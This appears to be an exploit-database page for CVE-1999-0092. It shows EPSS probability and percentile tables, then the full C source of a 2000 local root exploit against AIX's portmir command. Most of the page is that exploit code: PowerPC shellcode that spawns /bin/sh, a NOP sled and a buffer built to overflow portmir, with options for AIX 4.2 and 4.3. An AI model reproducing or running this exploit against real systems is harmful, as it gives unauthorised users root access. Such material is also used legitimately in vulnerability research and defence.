CVE-1999-0092 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.28%
2025-03-30	–	–	–	–	0.28%
2025-04-15	–	–	–	–	0.28%
2025-04-15	–	–	–	–	0.28,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	5%
2025-03-30	49%
2025-04-15	51%
2025-04-15	51%

/* source: https://www.securityfocus.com/bid/385/info AIX version 4.2.1 introduced a new command titled 'portmir'. This new program had two notable vulnerabilites. First it contained a buffer overflow which allowed malicious users to obtain root privileges. Secondly it wrote it's log files to a world readable directly thereby exposing security relavent information. */ /*## copyright LAST STAGE OF DELIRIUM oct 2000 poland *://lsd-pl.net/ #*/ /*## /usr/bin/portmir #*/ /* note: to avoid potential system hang-up please, first obtain the exact */ /* AIX OS level with the use of the uname -a or oslevel commands */ #define ADRNUM 400 #define NOPNUM 16000 #define ALLIGN 2 char shellcode[]= "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel <shellcode> */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "/bin/sh\xff" ; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e){ char buffer[20000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM oct 2000 poland //lsd-pl.net/\n"); printf("/usr/sbin/portmir for aix 4.2 4.3 4.3.x PowerPC/POWER\n\n"); if(argc<2){ printf("usage: %s 42|43|433\n",argv[0]);exit(-1); } switch(atoi(argv[1])){ case 42: shellcode[55]=0x02; break; case 43: shellcode[55]=0x04; break; case 433: shellcode[55]=0x03; break; default: exit(-1); } i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000; envp[0]=&buffer[1000]; envp[1]=0; b=buffer; for(i=0;i<ALLIGN;i++) *b++=adr[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=&buffer[1000]; sprintf(b,"xxx=");b+=4; for(i=0;i<ALLIGN;i++) *b++=' '; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/sbin/portmir","lsd","-t",buffer,0,envp); }